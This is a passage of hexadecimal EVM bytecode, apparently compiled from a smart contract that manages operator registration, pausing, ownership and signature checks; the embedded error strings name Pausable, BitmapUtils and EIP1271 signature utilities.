65b60015481811614610e225760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d90602001610c51565b60408051606081018252600080825260208201819052918101919091526000838152609860205260409020805483908110610e9657610e966150f3565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160c01b03600160401b909304929092169082015290505b92915050565b610ef2612435565b6001600160a01b038116600081815260c86020526040808220805460ff19169055517f9354cd337eebad48c93d70f7321b188732c3061fa5c48fe32b8e6f9480c52fcc9190a250565b6040516308f6629d60e31b8152600481018290526000907f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b0316906347b314e890602401602060405180830381865afa158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee49190615162565b610fcf612435565b610d1981612599565b610fe0612435565b610d1981612602565b6040805180820190915260008082526020820152610ee46110637f2bd82124057f0913bc3b772ce7b83e8057c1ad1f3510fc83778be20f10ec5de6846040516020016110489291909182526001600160a01b0316602082015260400190565b6040516020818303038152906040528051906020012061266b565b6126b9565b6001546002906004908116036110905760405162461bcd60e51b8152600401610968906150bc565b60006110d884848080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90508483146111125760405162461bcd60e51b81526020600482015260066024820152653931a8a632b760d11b6044820152606401610968565b60005b83811015611435576000858583818110611131576111316150f3565b919091013560f81c91503690506000898985818110611152576111526150f3565b90506020028101906111649190615233565b6040516379a0849160e11b815260ff8616600482015291935091507f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063f341092290602401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f4919061527c565b63ffffffff1681146112335760405162461bcd60e51b81526020600482015260086024820152673931a8a7b82632b760c11b6044820152606401610968565b6000805b828110156113da576000848483818110611253576112536150f3565b905060200201602081019061126891906144fc565b6001600160a01b03811660009081526099602090815260408083208151808301909252805482526001810154949550929390929183019060ff1660028111156112b3576112b3614761565b60028111156112c4576112c4614761565b905250805190915060006112d782612211565b905060016001600160c01b03821660ff8b161c8116146113245760405162461bcd60e51b815260206004820152600860248201526772634f702152656760c01b6044820152606401610968565b856001600160a01b0316846001600160a01b03161161136f5760405162461bcd60e51b8152602060048201526007602482015266072634475704f760cc1b6044820152606401610968565b506113cd83838f8f8d908e600161138691906152af565b92611393939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061234892505050565b5090925050600101611237565b5060ff84166000818152609b6020908152604091829020439081905591519182527f46077d55330763f16269fd75e5761663f4192d2791747c0189b16ad31db07db4910160405180910390a250505050806001019050611115565b50505050505050565b60408051808201909152600080825260208201526001600160a01b0382166000908152609960209081526040918290208251808401909352805483526001810154909183019060ff16600281111561149857611498614761565b60028111156114a9576114a9614761565b90525092915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa1580156114ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152391906151c9565b61153f5760405162461bcd60e51b8152600401610968906151eb565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b611586612435565b609654829060ff908116908216106115c95760405162461bcd60e51b815260206004820152600660248201526552433a71214560d01b6044820152606401610968565b6115d383836127d9565b505050565b609c81815481106115e857600080fd5b6000918252602090912001546001600160a01b0316905081565b609e546001600160a01b031633146116495760405162461bcd60e51b815260206004820152600a602482015269292190b2b532b1ba37b960b11b6044820152606401610968565b6001600160a01b0383166000908152609f602090815260408083204290556099825280832080548251601f87018590048502810185019093528583529093909290916116b69187908790819084018382808284376000920191909152505060965460ff1691506127489050565b905060006116c383612211565b905060018085015460ff1660028111156116df576116df614761565b1480156116f457506001600160c01b03821615155b801561171257506117126001600160c01b0383811690831681161490565b15611435576114358787878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b61175f612435565b6117696000612c0e565b565b60006117ab7f4d404e3276e7ac2163d8ee476afa6a41d1f68fb71f2d8b6546b24e55ce01b72a8787878787604051602001611048969594939291906152ec565b9695505050505050565b6000610ee482612211565b60006117d46064546001600160a01b031690565b905090565b60018054600091908116036118005760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff166118515760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b8389146118895760405162461bcd60e51b81526004016109689060208082526004908201526338a632b760e11b604082015260600190565b60006118953388612c60565b90506118f533828888808060200260200160405190810160405280939291908181526020016000905b828210156118ea576118db60408302860136819003810190615374565b815260200190600101906118be565b505050505087612d95565b600061193c33838e8e8e8e8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b90506000609760008e8e6000818110611957576119576150f3565b919091013560f81c825250602080820192909252604090810160009081208251606081018452905463ffffffff811680835261ffff600160201b8304811696840196909652600160301b9091049094169281019290925284518051929450916119c2576119c26150f3565b602002602001015163ffffffff161115611ae357611a678d8d60008181106119ec576119ec6150f3565b9050013560f81c60f81b60f81c8360400151600081518110611a1057611a106150f3565b6020026020010151338560200151600081518110611a3057611a306150f3565b60200260200101518c8c6000818110611a4b57611a4b6150f3565b905060400201803603810190611a619190615374565b86613335565b611ae388886000818110611a7d57611a7d6150f3565b9050604002016020016020810190611a9591906144fc565b8e8e600090600192611aa9939291906152c2565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b50505050505050505050505050565b6001805460009190811603611b195760405162461bcd60e51b8152600401610968906150bc565b33600090815260c8602052604090205460ff16611b6a5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081dda1a5d195b1a5cdd1959608a1b6044820152606401610968565b6000611b763385612c60565b90506000611bbf33838b8b8b8b8080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152508c9250612e71915050565b51600080805260976020527f683723e34a772b6e4f2c919bba7fa32ed8ea11a8325f54da7db716e9d9dd98c754825192935063ffffffff1691839190611c0757611c076150f3565b602002602001015163ffffffff161115611c4c5760405162461bcd60e51b81526020600482015260066024820152650714d61784f760d41b6044820152606401610968565b505050505050505050565b6060600082516001600160401b03811115611c7457611c74614519565b604051908082528060200260200182016040528015611c9d578160200160208202803683370190505b50905060005b8351811015611cfe57611ccf85858381518110611cc257611cc26150f3565b6020026020010151613504565b828281518110611ce157611ce16150f3565b63ffffffff90921660209283029190910190910152600101611ca3565b509392505050565b60018054600290811603611d2c5760405162461bcd60e51b8152600401610968906150bc565b6115d33384848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061288692505050565b611d74612435565b6115d38383836135bd565b600054610100900460ff1615808015611d9f5750600054600160ff909116105b80611db95750303b158015611db9575060005460ff166001145b611e1c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610968565b6000805460ff191660011790558015611e3f576000805461ff0019166101001790555b82518451148015611e51575081518351145b611e825760405162461bcd60e51b8152602060048201526002602482015261494560f01b6044820152606401610968565b611e8b89612c0e565b611e95868661379f565b611e9e88612599565b611ea787612602565b609c80546001818101835560008381527faf85b9071dfafeac1409d3f1d19bafc9bc7c37974cde8df0ee6168f0086e539c92830180546001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81166001600160a01b03199283161790925585548085018755850180547f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49841690831617905585549384019095559190920180547f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377890921691909316179091555b8451811015611fee57611fe6858281518110611fa557611fa56150f3565b6020026020010151858381518110611fbf57611fbf6150f3565b6020026020010151858481518110611fd957611fd96150f3565b60200260200101516135bd565b600101611f87565b508015611c4c576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050505050565b612047612435565b6001600160a01b0381166120ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610968565b610d1981612c0e565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061212c9190615162565b6001600160a01b0316336001600160a01b03161461215c5760405162461bcd60e51b81526004016109689061517f565b6001541981196001541916146121da5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610968565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610c51565b6000818152609860205260408120548082036122305750600092915050565b6000838152609860205260409020612249600183615390565b81548110612259576122596150f3565b600091825260209091200154600160401b90046001600160c01b03169392505050565b606060008061228a8461388f565b61ffff166001600160401b038111156122a5576122a5614519565b6040519080825280601f01601f1916602001820160405280156122cf576020820181803683370190505b5090506000805b8251821080156122e7575061010081105b1561233e576001811b93508584161561232e578060f81b838381518110612310576123106150f3565b60200101906001600160f81b031916908160001a9053508160010191505b612337816153a3565b90506122d6565b5090949350505050565b60018260200151600281111561236057612360614761565b1461236a57505050565b81516040516333567f7f60e11b81526000906001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e16906366acfefe906123bf908890869088906004016153bc565b6020604051808303816000875af11580156123de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240291906153ec565b90506001600160c01b0381161561242e5761242e85612429836001600160c01b031661227c565b612886565b5050505050565b3361243e6117c0565b6001600160a01b0316146117695760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b6001600160a01b0381166125225760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610968565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b609d54604080516001600160a01b03928316815291831660208301527f315457d8a8fe60f04af17c16e2f5a5e1db612b31648e58030360759ef8f3528c910160405180910390a1609d80546001600160a01b0319166001600160a01b0392909216919091179055565b609e54604080516001600160a01b03928316815291831660208301527f8f30ab09f43a6c157d7fce7e0a13c003042c1c95e8a72e7a146a21c0caa24dc9910160405180910390a1609e80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610ee46126786138ba565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b6040805180820190915260008082526020820152600080806126e96000805160206158938339815191528661542b565b90505b6126f5816139e1565b9093509150600080516020615893833981519152828309830361272e576040805180820190915290815260208101919091529392505050565b6000805160206158938339815191526001820890506126ec565b60008061275484613a63565b9050808360ff166001901b116127d25760405162461bcd60e51b815260206004820152603f60248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206269746d61702065786365656473206d61782076616c7565006064820152608401610968565b9392505050565b60ff8216600081815260976020908152604091829020845181548684018051888701805163ffffffff90951665ffffffffffff199094168417600160201b61ffff938416021767ffff0000000000001916600160301b95831695909502949094179094558551918252518316938101939093525116918101919091527f3ee6fe8d54610244c3e9d3c066ae4aee997884aa28f10616ae821925401318ac9060600160405180910390a25050565b6001600160a01b0382166000908152609960205260409020805460018083015460ff1660028111156128ba576128ba614761565b146128ef5760405162461bcd60e51b81526020600482015260056024820152646f2152656760d81b6044820152606401610968565b60965460009061290390859060ff16612748565b9050600061291083612211565b90506001600160c01b0382166129515760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b6129686001600160c01b0383811690831681161490565b61299d5760405162461bcd60e51b81526004016109689060208082526004908201526310a9bab160e11b604082015260600190565b6001600160c01b03828116198216166129b68482613beb565b6001600160c01b038116612a855760018501805460ff191660021790556040516351b27a6d60e11b81526001600160a01b0388811660048301527f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169063a364f4da90602401600060405180830381600087803b158015612a3657600080fd5b505af1158015612a4a573d6000803e3d6000fd5b50506040518692506001600160a01b038a1691507f396fdcb180cb0fea26928113fb0fd1c3549863f9cd563e6a184f1d578116c8e490600090a35b60405163f4e24fe560e01b81526001600160a01b037f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49169063f4e24fe590612ad3908a908a9060040161543f565b600060405180830381600087803b158015612aed57600080fd5b505af1158015612b01573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e16925063bd29b8cd9150612b539087908a90600401615463565b600060405180830381600087803b158015612b6d57600080fd5b505af1158015612b81573d6000803e3d6000fd5b505060405163bd29b8cd60e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377816925063bd29b8cd9150612bd39087908a90600401615463565b600060405180830381600087803b158015612bed57600080fd5b505af1158015612c01573d6000803e3d6000fd5b5050505050505050505050565b606480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6040516309aa152760e11b81526001600160a01b0383811660048301526000917f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc49909116906313542a4e90602401602060405180830381865afa158015612ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612cef919061547c565b90506000819003610ee4577f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b031663bf79ce588484612d3487610fe9565b6040518463ffffffff1660e01b8152600401612d5293929190615495565b6020604051808303816000875af1158015612d71573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d2919061547c565b6020808201516000908152609a909152604090205460ff1615612de35760405162461bcd60e51b815260206004820152600660248201526518da14d85b1d60d21b6044820152606401610968565b4281604001511015612e1f5760405162461bcd60e51b8152602060048201526005602482015264063684578760dc1b6044820152606401610968565b602080820180516000908152609a909252604091829020805460ff19166001179055609d54905191830151610a48926001600160a01b0390921691612e6a918891889188919061176b565b8351613dac565b612e9560405180606001604052806060815260200160608152602001606081525090565b6000612edd86868080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505060965460ff1691506127489050565b90506000612eea88612211565b90506001600160c01b038216612f2b5760405162461bcd60e51b815260040161096890602080825260049082015263071456d760e41b604082015260600190565b8082166001600160c01b031615612f6d5760405162461bcd60e51b81526004016109689060208082526004908201526308509a5d60e21b604082015260600190565b60a0546001600160a01b038a166000908152609f60205260409020546001600160c01b0383811690851617914291612fa591906152af565b10612fda5760405162461bcd60e51b815260206004820152600560248201526410b7b822b560d91b6044820152606401610968565b612fe48982613beb565b887fec2963ab21c1e50e1e582aa542af2e4bf7bf38e6e1403c27b42e1c5d6e621eaa87604051613014919061514f565b60405180910390a260016001600160a01b038b1660009081526099602052604090206001015460ff16600281111561304e5761304e614761565b14613167576040805180820182528a8152600160208083018281526001600160a01b038f166000908152609990925293902082518155925183820180549394939192909160ff1916908360028111156130a9576130a9614761565b021790555050604051639926ee7d60e01b81526001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169150639926ee7d906130fe908d908990600401615505565b600060405180830381600087803b15801561311857600080fd5b505af115801561312c573d6000803e3d6000fd5b50506040518b92506001600160a01b038d1691507fe8e68cef1c3a761ed7be7e8463a375f27f7bc335e51824223cacce636ec5c3fe90600090a35b604051631fd93ca960e11b81526001600160a01b037f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc491690633fb27952906131b7908d908c908c90600401615579565b600060405180830381600087803b1580156131d157600080fd5b505af11580156131e5573d6000803e3d6000fd5b5050604051632550477760e01b81526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e1692506325504777915061323b908d908d908d908d9060040161559e565b6000604051808303816000875af115801561325a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613282919081019061562e565b60408087019190915260208601919091525162bff04d60e01b81526001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf6113778169062bff04d906132df908c908c908c90600401615691565b6000604051808303816000875af11580156132fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261332691908101906156ab565b84525050509695505050505050565b6020808301516001600160a01b038082166000818152609990945260409093205491929087160361338e5760405162461bcd60e51b815260206004820152600360248201526206368360ec1b6044820152606401610968565b8760ff16846000015160ff16146133cd5760405162461bcd60e51b815260206004820152600360248201526263683160e81b6044820152606401610968565b604051635401ed2760e01b81526004810182905260ff891660248201526000907f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e6001600160a01b031690635401ed2790604401602060405180830381865afa15801561343e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134629190615744565b905061346e8185613f66565b6001600160601b0316866001600160601b0316116134b45760405162461bcd60e51b815260206004820152600360248201526231b41960e91b6044820152606401610968565b6134be8885613f8a565b6001600160601b0316816001600160601b031610611c4c5760405162461bcd60e51b815260206004820152600360248201526263683360e81b6044820152606401610968565b600081815260986020526040812054815b8181101561358c5760016135298284615390565b6135339190615390565b92508463ffffffff16609860008681526020019081526020016000208463ffffffff1681548110613566576135666150f3565b60009182526020909120015463ffffffff1611613584575050610ee4565b600101613515565b5060405162461bcd60e51b81526020600482015260056024820152644f2152656760d81b6044820152606401610968565b60965460ff1660c081106135fc5760405162461bcd60e51b8152600401610968906020808252600490820152630e29ac2f60e31b604082015260600190565b613607816001615761565b6096805460ff191660ff929092169190911790558061362681866127d9565b60405160016296b58960e01b031981526001600160a01b037f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e169063ff694a77906136799084908890889060040161577a565b600060405180830381600087803b15801561369357600080fd5b505af11580156136a7573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561370f57600080fd5b505af1158015613723573d6000803e3d6000fd5b505060405163136ca0f960e11b815260ff841660048201527f00000000000000000000000070e0ba845a1a0f2da3359c97e0285013525ffc496001600160a01b031692506326d941f29150602401600060405180830381600087803b15801561378b57600080fd5b505af1158015611c4c573d6000803e3d6000fd5b6000546201000090046001600160a01b03161580156137c657506001600160a01b03821615155b6138485760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610968565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261388b82612494565b5050565b6000805b8215610ee4576138a4600184615390565b90921691806138b2816157f6565b915050613893565b6000306001600160a01b037f00000000000000000000000036c02da8a0983159322a80ffe9f24b1acff8b5701614801561391357507f0000000000000000000000000000000000000000000000000000000000007a6946145b1561393d57507fd8cea607dc87be4701da97f1f02070e2cf469db0dbbbfc55a7d169f75da1f4bc90565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f6ec8a99f0e7f9ebde7354a446dcb9423f3af9c58f386a53c59c5b384f9e82d11828401527f6bda7e3f385e48841048390444cced5cc795af87758af67622e5f4f0882c4a9960608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b60008080600080516020615893833981519152600360008051602061589383398151915286600080516020615893833981519152888909090890506000613a57827f0c19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52600080516020615893833981519152613fa4565b91959194509092505050565b600061010082511115613aec5760405162461bcd60e51b8152602060048201526044602482018190527f4269746d61705574696c732e6f72646572656442797465734172726179546f42908201527f69746d61703a206f7264657265644279746573417272617920697320746f6f206064820152636c6f6e6760e01b608482015260a401610968565b8151600003613afd57506000919050565b60008083600081518110613b1357613b136150f3565b0160200151600160f89190911c81901b92505b8451811015613be257848181518110613b4157613b416150f3565b0160200151600160f89190911c1b9150828211613bd65760405162461bcd60e51b815260206004820152604760248201527f4269746d61705574696c732e6f72646572656442797465734172726179546f4260448201527f69746d61703a206f72646572656442797465734172726179206973206e6f74206064820152661bdc99195c995960ca1b608482015260a401610968565b91811791600101613b26565b50909392505050565b60008281526098602052604081205490819003613c93576000838152609860209081526040808320815160608101835263ffffffff43811682528185018681526001600160c01b03808a16958401958652845460018101865594885295909620915191909201805495519351909416600160401b026001600160401b03938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055505050565b6000838152609860205260408120613cac600184615390565b81548110613cbc57613cbc6150f3565b6000918252602090912001805490915063ffffffff438116911603613cfe5780546001600160401b0316600160401b6001600160c01b03851602178155610a48565b805463ffffffff438116600160201b81810267ffffffff0000000019909416939093178455600087815260986020908152604080832081516060810183529485528483018481526001600160c01b03808c1693870193845282546001810184559286529390942094519401805493519151909216600160401b026001600160401b0391861690960267ffffffffffffffff199093169390941692909217179190911691909117905550505050565b6001600160a01b0383163b15613ec657604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90613dec9086908690600401615463565b602060405180830381865afa158015613e09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e2d9190615817565b6001600160e01b031916146115d35760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610968565b826001600160a01b0316613eda838361404d565b6001600160a01b0316146115d35760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610968565b602081015160009061271090613f809061ffff1685615841565b6127d2919061586c565b604081015160009061271090613f809061ffff1685615841565b600080613faf6143b3565b613fb76143d1565b602080825281810181905260408201819052606082018890526080820187905260a082018690528260c08360056107d05a03fa92508280613ff457fe5b50826140425760405162461bcd60e51b815260206004820152601a60248201527f424e3235342e6578704d6f643a2063616c6c206661696c7572650000000000006044820152606401610968565b505195945050505050565b600080600061405c8585614069565b91509150611cfe816140d7565b600080825160410361409f5760208301516040840151606085015160001a6140938782858561428d565b945094505050506140d0565b82516040036140c857602083015160408401516140bd86838361437a565b9350935050506140d0565b506000905060025b9250929050565b60008160048111156140eb576140eb614761565b036140f35750565b600181600481111561410757614107614761565b036141545760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610968565b600281600481111561416857614168614761565b036141b55760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610968565b60038160048111156141c9576141c9614761565b036142215760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610968565b600481600481111561423557614235614761565b03610d195760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610968565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156142c45750600090506003614371565b8460ff16601b141580156142dc57508460ff16601c14155b156142ed5750600090506004614371565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614341573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661436a57600060019250925050614371565b9150600090505b94509492505050565b6000806001600160ff1b0383168161439760ff86901c601b6152af565b90506143a58782888561428d565b935093505050935093915050565b60405180602001604052806001906020820280368337509192915050565b6040518060c001604052806006906020820280368337509192915050565b60008083601f84011261440157600080fd5b5081356001600160401b0381111561441857600080fd5b6020830191508360208260051b85010111156140d057600080fd5b6000806020838503121561444657600080fd5b82356001600160401b0381111561445c57600080fd5b614468858286016143ef565b90969095509350505050565b60006020828403121561448657600080fd5b5035919050565b63ffffffff81168114610d1957600080fd5b6000806000606084860312156144b457600080fd5b8335925060208401356144c68161448d565b929592945050506040919091013590565b6001600160a01b0381168114610d1957600080fd5b80356144f7816144d7565b919050565b60006020828403121561450e57600080fd5b81356127d2816144d7565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171561455157614551614519565b60405290565b604080519081016001600160401b038111828210171561455157614551614519565b604051601f8201601f191681016001600160401b03811182821017156145a1576145a1614519565b604052919050565b60006001600160401b038311156145c2576145c2614519565b6145d5601f8401601f1916602001614579565b90508281528383830111156145e957600080fd5b828260208301376000602084830101529392505050565b60006020828403121561461257600080fd5b81356001600160401b0381111561462857600080fd5b8201601f8101841361463957600080fd5b614648848235602084016145a9565b949350505050565b6000806040838503121561466357600080fd5b50508035926020909101359150565b803560ff811681146144f757600080fd5b60006020828403121561469557600080fd5b6127d282614672565b815181526020808301519082015260408101610ee4565b60008083601f8401126146c757600080fd5b5081356001600160401b038111156146de57600080fd5b6020830191508360208285010111156140d057600080fd5b6000806000806040858703121561470c57600080fd5b84356001600160401b038082111561472357600080fd5b61472f888389016143ef565b9096509450602087013591508082111561474857600080fd5b50614755878288016146b5565b95989497509550505050565b634e487b7160e01b600052602160045260246000fd5b6003811061479557634e487b7160e01b600052602160045260246000fd5b9052565b8151815260208083015160408301916147b490840182614777565b5092915050565b803561ffff811681146144f757600080fd5b6000606082840312156147df57600080fd5b6147e761452f565b905081356147f48161448d565b8152614802602083016147bb565b6020820152614813604083016147bb565b604082015292915050565b6000806080838503121561483157600080fd5b61483a83614672565b915061484984602085016147cd565b90509250929050565b60008060006040848603121561486757600080fd5b8335614872816144d7565b925060208401356001600160401b0381111561488d57600080fd5b614899868287016146b5565b9497909650939450505050565b60006001600160401b038211156148bf576148bf614519565b5060051b60200190565b6000604082840312156148db57600080fd5b6148e3614557565b90506148ee82614672565b815260208201356148fe816144d7565b602082015292915050565b600080600080600060a0868803121561492157600080fd5b853561492c816144d7565b945060208681013594506040808801356001600160401b0381111561495057600080fd5b8801601f81018a1361496157600080fd5b803561497461496f826148a6565b614579565b8082825260208201915060208360061b85010192508c83111561499657600080fd5b6020840193505b828410156149be576149af8d856148c9565b8252928401929085019061499d565b999c989b5098996060810135995060800135979650505050505050565b600061010082840312156149ee57600080fd5b50919050565b60008083601f840112614a0657600080fd5b5081356001600160401b03811115614a1d57600080fd5b6020830191508360208260061b85010111156140d057600080fd5b600060608284031215614a4a57600080fd5b614a5261452f565b905081356001600160401b03811115614a6a57600080fd5b8201601f81018413614a7b57600080fd5b614a8a848235602084016145a9565b825250602082013560208201526040820135604082015292915050565b60008060008060008060008060006101a08a8c031215614ac657600080fd5b89356001600160401b0380821115614add57600080fd5b614ae98d838e016146b5565b909b50995060208c0135915080821115614b0257600080fd5b614b0e8d838e016146b5565b9099509750879150614b238d60408e016149db565b96506101408c0135915080821115614b3a57600080fd5b614b468d838e016149f4565b90965094506101608c0135915080821115614b6057600080fd5b614b6c8d838e01614a38565b93506101808c0135915080821115614b8357600080fd5b50614b908c828d01614a38565b9150509295985092959850929598565b6000806000806000806101608789031215614bba57600080fd5b86356001600160401b0380821115614bd157600080fd5b614bdd8a838b016146b5565b90985096506020890135915080821115614bf657600080fd5b614c028a838b016146b5565b9096509450849150614c178a60408b016149db565b9350610140890135915080821115614c2e57600080fd5b50614c3b89828a01614a38565b9150509295509295509295565b60008060408385031215614c5b57600080fd5b8235614c668161448d565b91506020838101356001600160401b03811115614c8257600080fd5b8401601f81018613614c9357600080fd5b8035614ca161496f826148a6565b81815260059190911b82018301908381019088831115614cc057600080fd5b928401925b82841015614cde57833582529284019290840190614cc5565b80955050505050509250929050565b6020808252825182820181905260009190848201906040850190845b81811015614d2b57835163ffffffff1683529284019291840191600101614d09565b50909695505050505050565b60008060208385031215614d4a57600080fd5b82356001600160401b03811115614d6057600080fd5b614468858286016146b5565b6001600160601b0381168114610d1957600080fd5b600082601f830112614d9257600080fd5b81356020614da261496f836148a6565b82815260069290921b84018101918181019086841115614dc157600080fd5b8286015b84811015614e125760408189031215614dde5760008081fd5b614de6614557565b8135614df1816144d7565b815281850135614e0081614d6c565b81860152835291830191604001614dc5565b509695505050505050565b600080600060a08486031215614e3257600080fd5b614e3c85856147cd565b92506060840135614e4c81614d6c565b915060808401356001600160401b03811115614e6757600080fd5b614e7386828701614d81565b9150509250925092565b600082601f830112614e8e57600080fd5b81356020614e9e61496f836148a6565b808382526020820191506060602060608602880101945087851115614ec257600080fd5b602087015b85811015614ee657614ed989826147cd565b8452928401928101614ec7565b5090979650505050505050565b600082601f830112614f0457600080fd5b81356020614f1461496f836148a6565b8083825260208201915060208460051b870101935086841115614f3657600080fd5b602086015b84811015614e12578035614f4e81614d6c565b8352918301918301614f3b565b600082601f830112614f6c57600080fd5b81356020614f7c61496f836148a6565b82815260059290921b84018101918181019086841115614f9b57600080fd5b8286015b84811015614e125780356001600160401b03811115614fbe5760008081fd5b614fcc8986838b0101614d81565b845250918301918301614f9f565b600080600080600080600080610100898b031215614ff757600080fd5b615000896144ec565b975061500e60208a016144ec565b965061501c60408a016144ec565b955061502a60608a016144ec565b94506080890135935060a08901356001600160401b038082111561504d57600080fd5b6150598c838d01614e7d565b945060c08b013591508082111561506f57600080fd5b61507b8c838d01614ef3565b